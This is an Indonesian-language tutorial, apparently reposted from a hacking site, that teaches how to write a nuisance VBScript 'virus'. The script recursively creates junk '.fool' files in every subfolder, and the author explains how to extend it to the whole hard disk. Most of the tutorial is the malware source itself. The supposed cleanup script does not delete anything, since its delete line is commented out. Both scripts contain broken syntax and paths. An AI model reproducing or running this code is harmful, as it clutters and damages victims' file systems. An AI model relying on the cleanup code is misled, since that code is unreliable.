Tutorial Virus Worm Junker

Pernah dengar VBS ?? VBS adalah Visual Basic Script, sebuah script sederhana untuk membuat program sederhana pula dengan menggunakan bahasa Basic. Tau kan BASIC?? Bagi yang belum tahu BASIC, cari aja di Wikipedia, daripada saya menjelaskan panjang lebar disini… Hmm.. disini saya akan menjelaskan cara membuat virus.. Virus ini memang tidak berbahaya, tapi mungkin menyebalkan, karena dia akan menyebarkan sebuah junkfile kesetiap drive, folder, subfolder yang bernamakan sama seperti folder tersebut.
Contoh kodenya seperti berikut ini…

On Error Resume Next
dim main,orgMes,finalMes
set main=CreateObject(“Scripting.FileSystemObject”)

orgMes=”SALAM SUPER!”
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))

On Error Resume Next
dim drive,machine
set machine=main.Drives

for each drive in machine
if (drive.DriveType=2)or(drive.DriveType=3) then
junk(“D:V_TEST”) ‘pengetesan pada folder virus
end If
next

sub junk(location)
On Error Resume Next
dim specs,file,subFol,buatjunk

set specs=main.GetFolder(location)
set subFol=specs.SubFolders

for each file in subFol
set buatjunk = main.CreateTextFile(file.Path&”.fool”, 2, True) ‘buat junk file disetiap subfolder
say buatjunk.write finalMes
say buatjunk.Close
junk(file.Path)
next
end sub

Nah setelah selesai mengetikan kode diatas di Notepad atau text editor lainya, coba simpan dengan extensi .VBS. Kemudian jangan jalankan dahulu, namun pada Drive D anda buat folder V_TEST, buat subfolder juga di dalam folder tersebut. Kemudian baru jalankan virus tersebut, maka dengan otomatis virus akan membuat file dengan nama file sesuai nama folder tersebut sampai ke sub2folder. Jika anda mengganti pada kode diatas pada esekusi prosedur junk dengan perintah berikut junk(drive.path&”") maka file junk tersebut akan tersebar ke seluruh hardisk, dan tentunya akan menyebalkan bukan ???

Kesulitan bersihinya?? Coba pake kode ini, sama, tapi perintah buat filenya diganti dengan hapus file…

On Error Resume Next
dim main,orgMes,finalMes
set main=CreateObject(“Scripting.FileSystemObject”)

orgMes=”SALAM SUPER!”
orgMes=replace(orgMes,chr(42),chr(68)) ‘ menjalankan file induk
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))

On Error Resume Next
dim drive,machine
set machine=main.Drives

for each drive in machine
if (drive.DriveType=2)or(drive.DriveType=3) then
junk(“D:V_TEST”) ‘pengetesan pada folder virus
end If
next

sub junk(location)
On Error Resume Next
dim specs,file,subFol,buatjunk

set specs=main.GetFolder(location)
set subFol=specs.SubFolders

for each file in subFol
‘FSobj.deletefile(file.path&”.fool”) ‘hapus junk file disetiap subfolder
say buatjunk.write finalMes
say buatjunk.Close
junk(file.Path)
next
end sub

Sip n tunggu Tutorial selanjutnya..bye^^

Sumber : www.yogyafree.net